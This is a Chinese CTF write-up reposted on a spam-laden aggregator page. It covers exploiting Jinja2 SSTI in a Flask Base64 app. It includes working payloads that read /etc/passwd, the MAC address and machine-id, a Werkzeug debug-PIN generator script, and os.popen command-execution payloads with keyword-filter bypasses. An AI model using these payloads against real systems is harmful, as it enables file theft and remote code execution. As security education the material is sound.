当前位置: 首页 > news >正文

下载个人简历直接填写网站seo标题是什么意思

下载个人简历直接填写,网站seo标题是什么意思,传媒公司属于什么行业类型,北京建设银行官网招聘网站Flask的网站,这里的功能是Base64编码解码,并输出 并且是存在SSTI的 /hint 提示PIN码 既然提示PIN,那应该是开启了Debug模式的,解密栏那里随便输入点什么报错看看,直接报错了,并且该Flask开启了Debug模式&am…

Flask的网站,这里的功能是Base64编码解码,并输出

在这里插入图片描述

并且是存在SSTI的

在这里插入图片描述

/hint 提示PIN

在这里插入图片描述

既然提示PIN,那应该是开启了Debug模式的,解密栏那里随便输入点什么报错看看,直接报错了,并且该Flask开启了Debug模式,需要PIN码

在这里插入图片描述

参考ye1s师傅的:Flask debug模式下的 PIN 码安全性

可知,要获取PIN码需要知道以下几点:

  • username:运行该Flask程序的用户名
  • modname:模块名
  • getattr(app, '__name__', getattr(app.__class__, '__name__')):app名,值为Flask
  • getattr(mod, '__file__', None)Flask目录下的一个app.py的绝对路径,这个值可以在报错页面看到。但有个需注意,Python3是 app.py,Python2中是app.pyc
  • str(uuid.getnode()):MAC地址,需要转换成十进制,读取这两个地址:/sys/class/net/eth0/address或者/sys/class/net/ens33/address
  • get_machine_id():系统id

从报错中还能看出来使用了render_template_string()

在这里插入图片描述

从这个render_template_string(tmp)看,应该是使用的jinja2引擎,编码{{config}},传入解密然后渲染执行

在这里插入图片描述

WAF的黑名单:importospopenflageval*?
其实这里就可以使用拼接绕过了,但是我们还是先来试试获取PIN码GetShell的

首先通过报错就可以得知很多信息,Python3的环境以及:

  • modnameflask.app
  • getattr(app, '__name__', getattr(app.__class__, '__name__'))Flask
  • getattr(mod, '__file__', None)/usr/local/lib/python3.7/site-packages/flask/app.py

在这里插入图片描述

接下来可以通过SSTI去文件读取其他信息,使用jinja2的控制结构语法构造

jinja2一共三种语法:
控制结构 {% %}
变量取值 {{ }}
注释 {# #}
jinja2的Python模板解释器在构建的时候考虑到了安全问题,删除了大部分敏感函数,相当于构建了一个沙箱环境。
但是一些内置函数和属性还是依然可以使用,而Flask的SSTI就是利用这些内置函数和属性相互组建来达到调用函数的目的,
从而绕过沙箱。__class__         返回调用的参数类型
__bases__         返回基类列表
__mro__           此属性是在方法解析期间寻找基类时的参考类元组
__subclasses__()  返回子类的列表
__globals__       以字典的形式返回函数所在的全局命名空间所定义的全局变量与func_globals等价
__builtins__      内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载,这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等等

遍历子类,寻找能读取文件的子类,然后构造

{% for x in {}.__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}{%endif%}
{%endfor%}

编码一下输入

在这里插入图片描述

得到运行Flask的用户名:flaskweb

读Mac地址

{% for x in {}.__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address').read() }}{%endif%}
{%endfor%}

在这里插入图片描述

转换成十进制:

>>> int('d2936368b7c7', 16)
231530469832647

读系统id:1408f836b0ca514d796cbf8960e45fa1

{% for x in {}.__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x.__init__.__globals__['__builtins__'].open('/etc/machine-id').read() }}{%endif%}
{%endfor%}

在这里插入图片描述

然后根据前面的分析文章里面的生成脚本得到PIN码

import hashlib
from itertools import chain
probably_public_bits = ['flaskweb'# username'flask.app',# modname'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]private_bits = ['231530469832647',# str(uuid.getnode()),  /sys/class/net/eth0/address'1408f836b0ca514d796cbf8960e45fa1'# get_machine_id(), /etc/machine-id
]h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)
h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = None
if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)

在这里插入图片描述

输入PIN码后可成功获取交互Shell

在这里插入图片描述

然而这里有SSTI,即已经可以命令执行了

>>> ().__class__.__base__.__subclasses__()[149]
<class 'warnings.catch_warnings'>
>>> ().__class__.__base__.__subclasses__()[149].__init__.__globals__['__builtins__']['__import__']('os').__dict__['popen']('whoami').read()
'mochu7\\administrator\n'
>>>

在这里插入图片描述

只需要绕过关键字过滤即可,例如拼接

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x.__init__.__globals__['__builtins__']['__imp' + 'ort__']('o'+'s').__dict__['po' + 'pen']	('cat /this_is_the_f'+'lag.txt').read() }}{%endif%}
{%endfor%}

例如逆序

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x.__init__.__globals__['__builtins__']['__tropmi__'[::-1]]('so'[::-1]).__dict__['nepop'[::-1]]('txt.galf_eht_si_siht/ tac'[::-1]).read()}}{%endif%}
{%endfor%}

在这里插入图片描述
像这种关键字绕过,SSTI还有很多办法,感兴趣的可以自己研究

http://www.hrbkazy.com/news/17340.html

相关文章:

  • 营销型网站建设推来客网络百度在线使用网页版
  • 网站 头尾调用手机网站百度关键词排名
  • 各类网站建设营销推广与策划
  • 重庆必玩景点排名seo关键词排名在线查询
  • d84 wordpress网站seo优化服务商
  • 百度资源站长平台搜狗网页版
  • 阿里云服务器做电影网站武汉大学人民医院官网
  • 南宁疫情封路最新消息优化关键词方法
  • 上海网站推广优化公司网络营销与直播电商专升本
  • 淘客做网站的话虚拟主机多大简单网页制作成品免费
  • docker wordpress githubseo网站优化方案
  • 外贸网站建设 义乌自制网页
  • wordpress点赞排行深圳网站优化推广方案
  • 做任务给钱的网站品牌seo推广
  • 昆山建设信息网站网络推广运营推广
  • 南昌网站建设基本流程一个具体网站的seo优化方案
  • 网站 建设目标电子商务网站开发
  • 一个平台维护三天正常吗aso优化平台
  • 网站建设技术网站西安百度框架户
  • 做网站用什么语言比较简单seo有名气的优化公司
  • 网站规划与设计就业seo属于技术还是营销
  • wordpress中文怎么设置seo关键词报价查询
  • 建设高效的政府门户网站互动营销策略
  • 怎样制作购物网站 微信转发免费正规的接单平台
  • 保定 网站建设抖音推广运营公司
  • 网站片头怎么做网站权重如何查询
  • 网站开发工作内容推广专家
  • 高大上网站友情链接检测工具
  • 广州门户网站开发网站外包
  • 建设公司网站的重要意义企业网站seo优化外包